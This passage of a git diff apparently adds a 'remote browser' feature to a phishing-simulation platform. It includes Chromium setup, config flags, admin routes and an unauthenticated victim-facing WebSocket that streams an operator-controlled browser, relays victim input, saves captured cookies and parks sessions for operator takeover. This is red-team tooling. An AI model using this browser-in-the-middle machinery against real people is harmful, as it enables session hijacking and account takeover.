diff --git a/.claudeignore b/.claudeignore new file mode 100644 index 0000000..e0df9f1 --- /dev/null +++ b/.claudeignore @@ -0,0 +1,20 @@ +# Go vendor dependencies +backend/vendor/ + +# Embedded GeoIP data blobs +backend/embedded/geoip/ + +# Node.js dependencies +frontend/node_modules/ + +# Dev runtime artifacts +backend/.dev/ +backend/.dev-air/ +frontend/.svelte-kit/ + +# Compiled binaries +build/ + +# Temporary files +tmp/ +.tmp/ diff --git a/Dockerfile.release b/Dockerfile.release index 3ee0950..b4b0f1e 100644 --- a/Dockerfile.release +++ b/Dockerfile.release @@ -1,7 +1,8 @@ -FROM debian:12-slim +FROM debian:12-slim@sha256:b29f74a267526ae6ea104eed6c46133b0ca70ce812525df8cd5817698f0a624a # install ca-certificates for https requests RUN apt-get update && \ + apt-get upgrade -y && \ apt-get install -y ca-certificates tzdata && \ rm -rf /var/lib/apt/lists/* diff --git a/backend/Dockerfile b/backend/Dockerfile index 7e596cf..c52c98a 100644 --- a/backend/Dockerfile +++ b/backend/Dockerfile @@ -10,6 +10,30 @@ WORKDIR /app RUN groupadd -g 1000 appuser && \ useradd -r -u 1000 -g appuser appuser -d /home/appuser -m +# chromium runtime dependencies (required when remote_browser.enabled is true) +RUN apt-get update && apt-get install -y --no-install-recommends \ + libglib2.0-0 \ + libnss3 \ + libatk1.0-0 \ + libatk-bridge2.0-0 \ + libcups2 \ + libdrm2 \ + libxkbcommon0 \ + libxcomposite1 \ + libxdamage1 \ + libxfixes3 \ + libxrandr2 \ + libgbm1 \ + libasound2 \ + libpango-1.0-0 \ + libcairo2 \ + fonts-liberation \ + libx11-6 \ + libx11-xcb1 \ + libxcb1 \ + libxext6 \ + && rm -rf /var/lib/apt/lists/* + # install deps #RUN go install github.com/cosmtrek/air@latest \ #RUN go install github.com/go-delve/delve/cmd/dlv@1.9.1 @@ -21,7 +45,7 @@ RUN chown -R appuser:appuser /app USER appuser -RUN go install github.com/cosmtrek/air@v1.40.4 && go install github.com/go-delve/delve/cmd/dlv@latest -RUN go mod tidy +RUN go install github.com/cosmtrek/air@v1.40.4 && go install github.com/go-delve/delve/cmd/dlv@v1.26.3 +RUN go mod download CMD ["air", "-c", "/.dev-air/.air.docker.toml"] diff --git a/backend/README.md b/backend/README.md index 8216461..f836949 100644 --- a/backend/README.md +++ b/backend/README.md @@ -11,6 +11,19 @@ The program must be executable The program must have rights to serve on privliged ports `sudo setcap CAP_NET_BIND_SERVICE=+eip /path/to/binary` +### Updating the systemd service unit (required for Remote Browser feature) + +The Remote Browser feature spawns a Chrome process as a subprocess. To support this, the systemd unit was updated to remove `MemoryDenyWriteExecute` (incompatible with Chrome's V8 JIT) and `RestrictNamespaces` (required for Chrome's sandbox to work). + +The in-app update replaces the binary but **does not** reload the service unit automatically. After updating from a version that did not have Remote Browser support, you must run: + +```bash +sudo systemctl daemon-reload +sudo systemctl restart phishingclub +``` + +Without this the old unit stays active and Chrome will crash when a remote browser session is started. + ### Known Issues #### Hot reloading not working / New files now working diff --git a/backend/app/administration.go b/backend/app/administration.go index a6dde0a..6f92353 100644 --- a/backend/app/administration.go +++ b/backend/app/administration.go @@ -208,6 +208,14 @@ const ( ROUTE_V1_VERSION = "/api/v1/version" // import ROUTE_V1_IMPORT = "/api/v1/import" + // remote browser + ROUTE_V1_REMOTE_BROWSER = "/api/v1/remote-browser" + ROUTE_V1_REMOTE_BROWSER_OVERVIEW = "/api/v1/remote-browser/overview" + ROUTE_V1_REMOTE_BROWSER_ID = "/api/v1/remote-browser/:id" + ROUTE_V1_REMOTE_BROWSER_ID_RUN = "/api/v1/remote-browser/:id/run" + ROUTE_V1_REMOTE_BROWSER_LIVE = "/api/v1/remote-browser/live" + ROUTE_V1_REMOTE_BROWSER_LIVE_CRID = "/api/v1/remote-browser/live/:crID" + ROUTE_V1_REMOTE_BROWSER_LIVE_STREAM = "/api/v1/remote-browser/live/:crID/stream" ) // administrationServer is the administrationServer app @@ -500,7 +508,18 @@ func setupRoutes( GET(ROUTE_V1_BACKUP_LIST, middleware.SessionHandler, controllers.Backup.ListBackups). GET(ROUTE_V1_BACKUP_DOWNLOAD, middleware.SessionHandler, controllers.Backup.DownloadBackup). // import - POST(ROUTE_V1_IMPORT, middleware.SessionHandler, controllers.Import.Import) + POST(ROUTE_V1_IMPORT, middleware.SessionHandler, controllers.Import.Import). + // remote browser + GET(ROUTE_V1_REMOTE_BROWSER, middleware.SessionHandler, controllers.RemoteBrowser.GetAll). + GET(ROUTE_V1_REMOTE_BROWSER_OVERVIEW, middleware.SessionHandler, controllers.RemoteBrowser.GetOverview). + GET(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.GetByID). + POST(ROUTE_V1_REMOTE_BROWSER, middleware.SessionHandler, controllers.RemoteBrowser.Create). + PATCH(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.UpdateByID). + DELETE(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.DeleteByID). + GET(ROUTE_V1_REMOTE_BROWSER_ID_RUN, middleware.SessionHandler, controllers.RemoteBrowser.RunByID). + GET(ROUTE_V1_REMOTE_BROWSER_LIVE, middleware.SessionHandler, controllers.RemoteBrowser.ListLiveSessions). + DELETE(ROUTE_V1_REMOTE_BROWSER_LIVE_CRID, middleware.SessionHandler, controllers.RemoteBrowser.CloseLiveSession). + GET(ROUTE_V1_REMOTE_BROWSER_LIVE_STREAM, middleware.SessionHandler, controllers.RemoteBrowser.StreamLiveSession) return r } diff --git a/backend/app/controllers.go b/backend/app/controllers.go index 48919ce..935ab95 100644 --- a/backend/app/controllers.go +++ b/backend/app/controllers.go @@ -40,6 +40,7 @@ type Controllers struct { Backup *controller.Backup IPAllowList *controller.IPAllowList OAuthProvider *controller.OAuthProvider + RemoteBrowser *controller.RemoteBrowserController } // NewControllers creates a collection of controllers @@ -196,6 +197,16 @@ func NewControllers( OAuthProviderService: services.OAuthProvider, Config: conf, } + remoteBrowser := &controller.RemoteBrowserController{ + Common: common, + RemoteBrowserService: services.RemoteBrowser, + RemoteBrowserRepository: repositories.RemoteBrowser, + CampaignRecipientRepository: repositories.CampaignRecipient, + CampaignRepository: repositories.Campaign, + CampaignService: services.Campaign, + ExecPath: conf.RemoteBrowser.ExecPath, + Enabled: conf.RemoteBrowser.Enabled, + } return &Controllers{ Asset: asset, @@ -229,5 +240,6 @@ func NewControllers( Backup: backup, IPAllowList: ipAllowList, OAuthProvider: oauthProvider, + RemoteBrowser: remoteBrowser, } } diff --git a/backend/app/repositories.go b/backend/app/repositories.go index a8d5ee6..9532754 100644 --- a/backend/app/repositories.go +++ b/backend/app/repositories.go @@ -31,6 +31,7 @@ type Repositories struct { OAuthProvider *repository.OAuthProvider OAuthState *repository.OAuthState MicrosoftDeviceCode *repository.MicrosoftDeviceCode + RemoteBrowser *repository.RemoteBrowser } // NewRepositories creates a collection of repositories @@ -63,5 +64,6 @@ func NewRepositories( OAuthProvider: &repository.OAuthProvider{DB: db}, OAuthState: &repository.OAuthState{DB: db}, MicrosoftDeviceCode: &repository.MicrosoftDeviceCode{DB: db}, + RemoteBrowser: &repository.RemoteBrowser{DB: db}, } } diff --git a/backend/app/server.go b/backend/app/server.go index 0b800d3..81feecf 100644 --- a/backend/app/server.go +++ b/backend/app/server.go @@ -62,6 +62,7 @@ type Server struct { repositories *Repositories proxyServer *proxy.ProxyHandler ja4Middleware *middleware.JA4Middleware + remoteBrowserWSPath string } // NewServer returns a new server @@ -74,6 +75,7 @@ func NewServer( repositories *Repositories, logger *zap.SugaredLogger, certMagicConfig *certmagic.Config, + remoteBrowserWSPath string, ) *Server { // setup ja4 middleware for tls fingerprinting ja4Middleware := middleware.NewJA4Middleware(logger) @@ -118,6 +120,7 @@ func NewServer( certMagicConfig: certMagicConfig, proxyServer: proxyServer, ja4Middleware: ja4Middleware, + remoteBrowserWSPath: remoteBrowserWSPath, } } @@ -342,6 +345,12 @@ func (s *Server) checkAndServeSharedAsset(c *gin.Context) bool { // checks if the request should be redirected // checks if the request is for a static page or static not found page func (s *Server) Handler(c *gin.Context) { + // pass through to the explicit Gin route for the victim remote browser WS endpoint + if strings.HasPrefix(c.Request.URL.Path, "/"+s.remoteBrowserWSPath+"/") { + c.Next() + return + } + if cacheEntry, ok := s.ja4Middleware.ConnectionFingerprints.Load(c.Request.RemoteAddr); ok { if entry, ok := cacheEntry.(*middleware.FingerprintEntry); ok { fingerprint := entry.Fingerprint @@ -2023,6 +2032,11 @@ func (s *Server) renderDenyPage( // AssignRoutes assigns the routes to the server func (s *Server) AssignRoutes(r *gin.Engine) { + // victim-facing remote browser WS endpoint - lives on the phishing engine (r), not + // the admin engine, because it is served to the victim's browser. s.Handler has an + // explicit prefix check that calls c.Next() for this path so the catch-all proxy + // logic does not swallow the request before Gin can dispatch to ServeVictim. + r.GET("/"+s.remoteBrowserWSPath+"/:crID/:rbID", s.controllers.RemoteBrowser.ServeVictim) r.Use(s.Handler) r.NoRoute(s.handlerNotFound) } diff --git a/backend/app/services.go b/backend/app/services.go index 80538bc..72c90b6 100644 --- a/backend/app/services.go +++ b/backend/app/services.go @@ -43,6 +43,7 @@ type Services struct { ProxySessionManager *service.ProxySessionManager OAuthProvider *service.OAuthProvider MicrosoftDeviceCode *service.MicrosoftDeviceCode + RemoteBrowser *service.RemoteBrowser } // NewServices creates a collection of services @@ -72,6 +73,8 @@ func NewServices( templateService := &service.Template{ Common: common, RecipientRepository: repositories.Recipient, + OptionRepository: repositories.Option, + RemoteBrowserRepository: repositories.RemoteBrowser, MicrosoftDeviceCodeService: microsoftDeviceCodeService, } file := &service.File{ @@ -196,6 +199,10 @@ func NewServices( TemplateService: templateService, CampaignTemplateService: campaignTemplate, } + remoteBrowser := &service.RemoteBrowser{ + Common: common, + RemoteBrowserRepository: repositories.RemoteBrowser, + } campaign := &service.Campaign{ Common: common, CampaignRepository: repositories.Campaign, @@ -214,6 +221,7 @@ func NewServices( TemplateService: templateService, MicrosoftDeviceCodeRepository: repositories.MicrosoftDeviceCode, AttachmentPath: attachmentPath, + RemoteBrowserService: remoteBrowser, } // wire campaign service into microsoft device code service now that campaign is constructed microsoftDeviceCodeService.CampaignService = campaign @@ -309,5 +317,6 @@ func NewServices( ProxySessionManager: proxySessionManager, OAuthProvider: oauthProvider, MicrosoftDeviceCode: microsoftDeviceCodeService, + RemoteBrowser: remoteBrowser, } } diff --git a/backend/config.docker.json b/backend/config.docker.json index 33d3c65..7a3adc4 100644 --- a/backend/config.docker.json +++ b/backend/config.docker.json @@ -16,5 +16,8 @@ "database": { "engine": "sqlite3", "dsn": "file:/app/.dev/db.sqlite3" + }, + "remote_browser": { + "enabled": true } } diff --git a/backend/config.example.json b/backend/config.example.json index 6a73fc5..f0ae40d 100644 --- a/backend/config.example.json +++ b/backend/config.example.json @@ -20,5 +20,9 @@ "log": { "path": "", "errorPath": "" + }, + "remote_browser": { + "enabled": false, + "exec_path": "" } } diff --git a/backend/config/config.go b/backend/config/config.go index 20fde65..07cba53 100644 --- a/backend/config/config.go +++ b/backend/config/config.go @@ -78,17 +78,19 @@ type ( LogPath string ErrLogPath string - IPSecurity IPSecurityConfig + IPSecurity IPSecurityConfig + RemoteBrowser RemoteBrowserServerConfig } // ConfigDTO config DTO ConfigDTO struct { - ACME ACME `json:"acme"` - AdministrationServer AdministrationServer `json:"administration"` - PhishingServer PhishingServer `json:"phishing"` - Database Database `json:"database"` - Log Log `json:"log"` - IPSecurity IPSecurityConfig `json:"ip_security"` + ACME ACME `json:"acme"` + AdministrationServer AdministrationServer `json:"administration"` + PhishingServer PhishingServer `json:"phishing"` + Database Database `json:"database"` + Log Log `json:"log"` + IPSecurity IPSecurityConfig `json:"ip_security"` + RemoteBrowser RemoteBrowserServerConfig `json:"remote_browser"` } Log struct { @@ -121,6 +123,19 @@ type ( ACME struct { Email string `json:"email"` } + + // RemoteBrowserServerConfig holds server-side remote browser settings. + RemoteBrowserServerConfig struct { + // Enabled controls whether the remote browser feature is available. + // Defaults to false. When false all remote browser endpoints return 404. + // When true all built-in safeguards are removed (Chrome flag blocklist, + // URL scheme restriction) because operators are trusted at server level. + // Only enable on instances where every operator is trusted as a server admin. + Enabled bool `json:"enabled"` + // ExecPath is the path to a Chrome/Chromium binary. When empty Rod uses + // its own auto-downloaded Chromium. Set at the server level only. + ExecPath string `json:"exec_path"` + } ) type IPSecurityConfig struct { @@ -400,6 +415,16 @@ func (c *Config) SetErrLogPath(path string) { c.ErrLogPath = path } +// SetRemoteBrowserEnabled enables or disables the remote browser feature. +func (c *Config) SetRemoteBrowserEnabled(enabled bool) { + c.RemoteBrowser.Enabled = enabled +} + +// SetRemoteBrowserExecPath sets the Chrome binary path used by the remote browser runner. +func (c *Config) SetRemoteBrowserExecPath(path string) { + c.RemoteBrowser.ExecPath = path +} + // SetFileWriter sets the file writer func (c *Config) SetFileWriter(fileWriter file.Writer) error { if err := ValidateFileWriter(fileWriter); err != nil { @@ -451,7 +476,7 @@ func StringAddressToTCPAddr(address string) (*net.TCPAddr, error) { // FromMap creates a *Config from a DTO func FromDTO(dto *ConfigDTO) (*Config, error) { - return NewConfig( + cfg, err := NewConfig( dto.ACME.Email, dto.AdministrationServer.TLSHost, dto.AdministrationServer.TLSAuto, @@ -466,6 +491,11 @@ func FromDTO(dto *ConfigDTO) (*Config, error) { dto.Log.ErrorPath, dto.IPSecurity, ) + if err != nil { + return nil, err + } + cfg.RemoteBrowser = dto.RemoteBrowser + return cfg, nil } // ToDTO converts a *Config to a *ConfigDTO @@ -493,7 +523,8 @@ func (c *Config) ToDTO() *ConfigDTO { Path: c.LogPath, ErrorPath: c.ErrLogPath, }, - IPSecurity: c.IPSecurity, + IPSecurity: c.IPSecurity, + RemoteBrowser: c.RemoteBrowser, } } diff --git a/backend/controller/remoteBrowser.go b/backend/controller/remoteBrowser.go new file mode 100644 index 0000000..e9c2132 --- /dev/null +++ b/backend/controller/remoteBrowser.go @@ -0,0 +1,1822 @@ +package controller + +import ( + "bytes" + "context" + "encoding/base64" + "encoding/json" + "fmt" + "image" + "image/draw" + "image/jpeg" + "net/http" + "net/url" + "sync" + "sync/atomic" + "time" + + "github.com/gin-gonic/gin" + "github.com/go-rod/rod" + "github.com/go-rod/rod/lib/proto" + "github.com/google/uuid" + "github.com/gorilla/websocket" + "github.com/oapi-codegen/nullable" + "github.com/phishingclub/phishingclub/cache" + "github.com/phishingclub/phishingclub/data" + "github.com/phishingclub/phishingclub/database" + "github.com/phishingclub/phishingclub/model" + "github.com/phishingclub/phishingclub/remotebrowser" + "github.com/phishingclub/phishingclub/repository" + "github.com/phishingclub/phishingclub/service" + "github.com/phishingclub/phishingclub/utils" + "github.com/phishingclub/phishingclub/vo" +) + +// activeSession tracks every victim WebSocket session from the moment it connects. +// Pointer identity is used by CompareAndDelete so a newer session's entry +// is never removed by an older session's defer cleanup. +// browserPage is nil until the JS script calls newSession(); once set the session +// can be streamed to an admin via StreamLiveSession. +type activeSession struct { + cancel context.CancelFunc + CampaignID uuid.UUID + RecipientID uuid.UUID + CRID uuid.UUID + CreatedAt time.Time + victimConnected atomic.Bool + // isKeepAlive is set when the JS script calls s.keepAlive(), meaning the + // browser is parked and available for operator takeover. A revisit from the + // victim must not cancel this session. + isKeepAlive atomic.Bool + // isTest marks sessions created by the test runner (RunByID) so they are + // excluded from the live session list shown to operators. + isTest bool + // browserPage is set (non-nil) only after newSession() is called. + browserPageMu sync.Mutex + browserPage *rod.Page +} + +func (a *activeSession) GetCampaignID() uuid.UUID { return a.CampaignID } +func (a *activeSession) Cancel() { a.cancel() } +func (a *activeSession) IsKeepAlive() bool { return a.isKeepAlive.Load() } + +func (a *activeSession) getBrowserPage() *rod.Page { + a.browserPageMu.Lock() + defer a.browserPageMu.Unlock() + return a.browserPage +} + +func (a *activeSession) setBrowserPage(page *rod.Page) { + a.browserPageMu.Lock() + defer a.browserPageMu.Unlock() + a.browserPage = page +} + +// streamInfo tracks a named cropped stream started by s.stream(selector, name). +// originX/Y are the element's CSS-pixel top-left corner (for input coord mapping). +// scaleX/Y are JPEG pixels per CSS pixel, computed from the first frame received +// (may differ from 1.0 on HiDPI displays or when the viewport fits within maxWidth/maxHeight). +type streamInfo struct { + mu sync.RWMutex + originX float64 + originY float64 + scaleX float64 + scaleY float64 + boxSet bool // true once the first frame has been processed and scale is known + cancel context.CancelFunc + maxFps int + quality int // JPEG re-encode quality for cropped frames (0 = use default 92) +} + +func (s *streamInfo) setOrigin(x, y float64) { + s.mu.Lock() + s.originX, s.originY = x, y + s.mu.Unlock() +} + +func (s *streamInfo) setScale(sx, sy float64) { + s.mu.Lock() + s.scaleX, s.scaleY, s.boxSet = sx, sy, true + s.mu.Unlock() +} + +// getInputCoords maps victim canvas pixel coords (vx, vy) back to CDP CSS pixel coords. +func (s *streamInfo) getInputCoords(vx, vy float64) (float64, float64, bool) { + s.mu.RLock() + defer s.mu.RUnlock() + if !s.boxSet || s.scaleX == 0 || s.scaleY == 0 { + return 0, 0, false + } + return s.originX + vx/s.scaleX, s.originY + vy/s.scaleY, true +} + +var RemoteBrowserColumnsMap = map[string]string{ + "name": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "name"), + "updated_at": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "updated_at"), + "created_at": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "created_at"), +} + +var wsUpgrader = websocket.Upgrader{ + CheckOrigin: func(r *http.Request) bool { + origin := r.Header.Get("Origin") + if origin == "" { + return true // non-browser client (CLI, curl) + } + u, err := url.Parse(origin) + if err != nil { + return false + } + return u.Host == r.Host + }, +} + +func modelConfigToRunnerConfig(c nullable.Nullable[model.RemoteBrowserConfig]) remotebrowser.Config { + cfg := remotebrowser.DefaultConfig() + if mc, err := c.Get(); err == nil { + if mc.Mode == "local" || mc.Mode == "remote" { + cfg.Mode = mc.Mode + } + if cfg.Mode == "remote" { + cfg.Remote = mc.Remote + } + cfg.Proxy = mc.Proxy + cfg.Headless = mc.Headless + if mc.Timeout > 0 { + cfg.Timeout = mc.Timeout + } + cfg.Lang = mc.Lang + cfg.ExtraFlags = mc.ExtraFlags + } + return cfg +} + +// RemoteBrowserController handles remote browser CRUD and live test runs. +type RemoteBrowserController struct { + Common + RemoteBrowserService *service.RemoteBrowser + RemoteBrowserRepository *repository.RemoteBrowser + CampaignRecipientRepository *repository.CampaignRecipient + CampaignRepository *repository.Campaign + CampaignService *service.Campaign + // ExecPath is the server-configured Chrome binary (from config.json). + ExecPath string + // Enabled mirrors config.RemoteBrowserServerConfig.Enabled. When false + // every endpoint returns 404 and the feature is fully unavailable. + Enabled bool +} + +func (m *RemoteBrowserController) isEnabled(g *gin.Context) bool { + if !m.Enabled { + g.AbortWithStatus(http.StatusNotFound) + return false + } + return true +} + +// Create creates a remote browser script. +func (m *RemoteBrowserController) Create(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + var req model.RemoteBrowser + if ok := m.handleParseRequest(g, &req); !ok { + return + } + id, err := m.RemoteBrowserService.Create(g.Request.Context(), session, &req) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, map[string]string{"id": id.String()}) +} + +// GetOverview returns a lightweight list of remote browsers. +func (m *RemoteBrowserController) GetOverview(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + queryArgs, ok := m.handleQueryArgs(g) + if !ok { + return + } + queryArgs.DefaultSortByUpdatedAt() + queryArgs.RemapOrderBy(RemoteBrowserColumnsMap) + companyID := companyIDFromRequestQuery(g) + + result, err := m.RemoteBrowserService.GetAllOverview( + companyID, + g.Request.Context(), + session, + &repository.RemoteBrowserOption{QueryArgs: queryArgs}, + ) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, result) +} + +// GetAll returns full remote browser records with pagination. +func (m *RemoteBrowserController) GetAll(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + queryArgs, ok := m.handleQueryArgs(g) + if !ok { + return + } + queryArgs.DefaultSortByUpdatedAt() + queryArgs.RemapOrderBy(RemoteBrowserColumnsMap) + companyID := companyIDFromRequestQuery(g) + + result, err := m.RemoteBrowserService.GetAll( + g.Request.Context(), + session, + companyID, + &repository.RemoteBrowserOption{QueryArgs: queryArgs}, + ) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, result) +} + +// GetByID returns a single remote browser. +func (m *RemoteBrowserController) GetByID(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + id, ok := m.handleParseIDParam(g) + if !ok { + return + } + rb, err := m.RemoteBrowserService.GetByID(g.Request.Context(), session, id, &repository.RemoteBrowserOption{}) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, rb) +} + +// UpdateByID updates a remote browser. +func (m *RemoteBrowserController) UpdateByID(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + id, ok := m.handleParseIDParam(g) + if !ok { + return + } + var req model.RemoteBrowser + if ok := m.handleParseRequest(g, &req); !ok { + return + } + err := m.RemoteBrowserService.UpdateByID(g.Request.Context(), session, id, &req) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, map[string]string{"message": "Remote browser updated"}) +} + +// DeleteByID deletes a remote browser. +func (m *RemoteBrowserController) DeleteByID(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + id, ok := m.handleParseIDParam(g) + if !ok { + return + } + err := m.RemoteBrowserService.DeleteByID(g.Request.Context(), session, id) + if ok := m.handleErrors(g, err); !ok { + return + } + m.Response.OK(g, map[string]string{"message": "Remote browser deleted"}) +} + +// RunByID upgrades to WebSocket and executes the saved script, streaming +// RunEvents back in real time. The client may send {"type":"stop"} to abort. +func (m *RemoteBrowserController) RunByID(g *gin.Context) { + if !m.isEnabled(g) { + return + } + session, _, ok := m.handleSession(g) + if !ok { + return + } + id, ok := m.handleParseIDParam(g) + if !ok { + return + } + + rb, err := m.RemoteBrowserService.GetByID(g.Request.Context(), session, id, &repository.RemoteBrowserOption{}) + if ok := m.handleErrors(g, err); !ok { + return + } + + cfg := modelConfigToRunnerConfig(rb.Config) + + conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil) + if err != nil { + m.Logger.Warnw("websocket upgrade failed", "error", err) + return + } + defer conn.Close() + conn.SetReadLimit(64 * 1024) + + scriptVal, _ := rb.Script.Get() + script := scriptVal.String() + runner := remotebrowser.NewRunner(script, cfg) + runner.ExecPath = m.ExecPath + runner.Logger = m.Logger + + ctx, cancel := context.WithCancel(g.Request.Context()) + defer cancel() + + // Register a synthetic activeSession so StreamLiveSession can stream this test run. + // Key is the script UUID, which won't collide with victim crIDs (campaign-recipient UUIDs). + sess := &activeSession{ + cancel: cancel, + CRID: *id, + CreatedAt: time.Now(), + isTest: true, + } + if prev, hadPrev := m.RemoteBrowserService.SwapSession(id.String(), sess); hadPrev { + prev.Cancel() + } + defer m.RemoteBrowserService.CompareAndDeleteSession(id.String(), sess) + + // Forward BrowserCh into the session so StreamLiveSession sees a non-nil page. + go func() { + select { + case page := <-runner.BrowserCh: + sess.setBrowserPage(page) + case <-ctx.Done(): + } + }() + + // Tell the frontend the session ID to use for View/Control streaming. + if sessionMsg, err := json.Marshal(map[string]string{"type": "session", "id": id.String()}); err == nil { + conn.WriteMessage(websocket.TextMessage, sessionMsg) //nolint:errcheck + } + + // Read loop: route {"type":"stop"} to cancel; {"event":"..","data":{}} to runner.Incoming. + go func() { + for { + _, msg, err := conn.ReadMessage() + if err != nil { + cancel() + return + } + var cmd struct { + Type string `json:"type"` + Event string `json:"event"` + Data json.RawMessage `json:"data"` + } + if json.Unmarshal(msg, &cmd) != nil { + continue + } + if cmd.Type == "stop" { + cancel() + return + } + if cmd.Event != "" { + var data interface{} + if len(cmd.Data) > 0 { + json.Unmarshal(cmd.Data, &data) //nolint:errcheck + } + select { + case runner.Incoming <- remotebrowser.IncomingMsg{Event: cmd.Event, Data: data}: + default: + } + } + } + }() + + // Drain StreamCh — test runner doesn't serve cropped streams. + go func() { + for range runner.StreamCh { + } + }() + + // Run the script in a goroutine; Events channel is closed when done. + go runner.Run(ctx) //nolint:errcheck + + // Write loop: forward every RunEvent to the WebSocket client. + for evt := range runner.Events { + data, err := json.Marshal(evt) + if err != nil { + continue + } + if err := conn.WriteMessage(websocket.TextMessage, data); err != nil { + return + } + } +} + +// ServeVictim is the public (no auth) WebSocket endpoint that victims connect to. +// The URL is //:crID/:rbID where crID is the campaign recipient ID +// (the tracking token already embedded in the phishing page via {{.rID}}) and rbID +// is the remote browser script to run. +// +// The handler bridges victim WebSocket messages into the runner's Incoming channel and +// forwards runner events back to the victim. When the runner emits a "capture" event +// the cookies are saved as a CampaignEvent so they appear alongside AITM captures. +func (m *RemoteBrowserController) ServeVictim(g *gin.Context) { + if !m.isEnabled(g) { + return + } + crID, err := uuid.Parse(g.Param("crID")) + if err != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + rbID, err := uuid.Parse(g.Param("rbID")) + if err != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + + // look up campaign recipient to get campaignID / recipientID for capture saving + cr, err := m.CampaignRecipientRepository.GetByCampaignRecipientID(g.Request.Context(), &crID) + if err != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + + // look up remote browser script directly (no admin session on this public endpoint) + rb, err := m.RemoteBrowserRepository.GetByID(g.Request.Context(), &rbID, &repository.RemoteBrowserOption{}) + if err != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + + // verify the script belongs to the same company as the + // campaign. A script with no company (nil) is global and usable by any campaign. + if rbCompany, err := rb.CompanyID.Get(); err == nil { + cid, cidErr := cr.CampaignID.Get() + if cidErr != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + campaign, campErr := m.CampaignRepository.GetByID(g.Request.Context(), &cid, &repository.CampaignOption{}) + if campErr != nil { + g.AbortWithStatus(http.StatusNotFound) + return + } + campCompany, campCompanyErr := campaign.CompanyID.Get() + if campCompanyErr != nil || campCompany != rbCompany { + g.AbortWithStatus(http.StatusNotFound) + return + } + } + + cfg := modelConfigToRunnerConfig(rb.Config) + + conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil) + if err != nil { + return + } + defer conn.Close() + conn.SetReadLimit(64 * 1024) + + var connMu sync.Mutex + + scriptVal, _ := rb.Script.Get() + runner := remotebrowser.NewRunner(scriptVal.String(), cfg) + runner.ExecPath = m.ExecPath + runner.Logger = m.Logger + + campaignID, err1 := cr.CampaignID.Get() + recipientID, err2 := cr.RecipientID.Get() + if err1 != nil || err2 != nil { + g.AbortWithStatus(http.StatusInternalServerError) + return + } + + // Use a background context for the runner so the victim's HTTP connection + // closing (which cancels g.Request.Context()) does not kill a keepAlive + // session. The session lifetime is controlled explicitly via cancel(). + ctx, cancel := context.WithCancel(context.Background()) + sess := &activeSession{ + cancel: cancel, + CampaignID: campaignID, + RecipientID: recipientID, + CRID: crID, + CreatedAt: time.Now(), + } + sess.victimConnected.Store(true) + + // One active session per campaign recipient — cancel any previous one. + // Exception: if the previous session is in keepAlive state the script has + // parked and is waiting for operator takeover; cancelling it would destroy + // a live browser the operator may be about to use. In that case put the + // old session back and drop the new connection instead. + crIDStr := crID.String() + if prev, hadPrev := m.RemoteBrowserService.SwapSession(crIDStr, sess); hadPrev { + if prev.IsKeepAlive() { + m.RemoteBrowserService.StoreSession(crIDStr, prev) + cancel() + return + } + prev.Cancel() + } + defer func() { + // For keepAlive sessions the runner is still parked waiting for the + // operator — do not cancel or remove it here. CloseLiveSession handles + // cleanup when the operator explicitly ends the session. + if !sess.isKeepAlive.Load() { + m.RemoteBrowserService.CompareAndDeleteSession(crIDStr, sess) + cancel() + } + }() + + var activeNamedStreams sync.Map // name → *streamInfo + + // victimVP stores the victim's viewport size sent on connect. + // Stored as int64 atomics so they can be read from the BrowserCh goroutine + // without a mutex; 0 means "not yet received". + var vpWidth, vpHeight atomic.Int64 + + // applyViewport sets the emulated viewport on the rod page if we have both a page + // and a non-zero victim viewport. + applyViewport := func(page *rod.Page) { + w := vpWidth.Load() + h := vpHeight.Load() + if w <= 0 || h <= 0 || page == nil { + return + } + proto.EmulationSetDeviceMetricsOverride{ + Width: int(w), Height: int(h), DeviceScaleFactor: 1, + }.Call(page) //nolint:errcheck + } + + // Read loop: forward victim events into the runner; route stream_input with coord offset. + go func() { + for { + _, msg, err := conn.ReadMessage() + if err != nil { + sess.victimConnected.Store(false) + // keepAlive: browser is parked for operator takeover — a victim + // disconnect must not kill the session, the operator still needs it. + if !sess.isKeepAlive.Load() { + cancel() + } + return + } + var cmd struct { + Type string `json:"type"` + Event string `json:"event"` + Data json.RawMessage `json:"data"` + Name string `json:"name"` + Action string `json:"action"` + X float64 `json:"x"` + Y float64 `json:"y"` + Button string `json:"button"` + DeltaX float64 `json:"deltaX"` + DeltaY float64 `json:"deltaY"` + Key string `json:"key"` + Code string `json:"code"` + KeyCode int64 `json:"keyCode"` + Modifiers int64 `json:"modifiers"` + CharText string `json:"charText"` + Width float64 `json:"width"` + Height float64 `json:"height"` + } + if json.Unmarshal(msg, &cmd) != nil { + continue + } + if cmd.Type == "viewport" && cmd.Width > 0 && cmd.Height > 0 { + vpWidth.Store(int64(cmd.Width)) + vpHeight.Store(int64(cmd.Height)) + applyViewport(sess.getBrowserPage()) + continue + } + if cmd.Type == "stream_input" && cmd.Name != "" 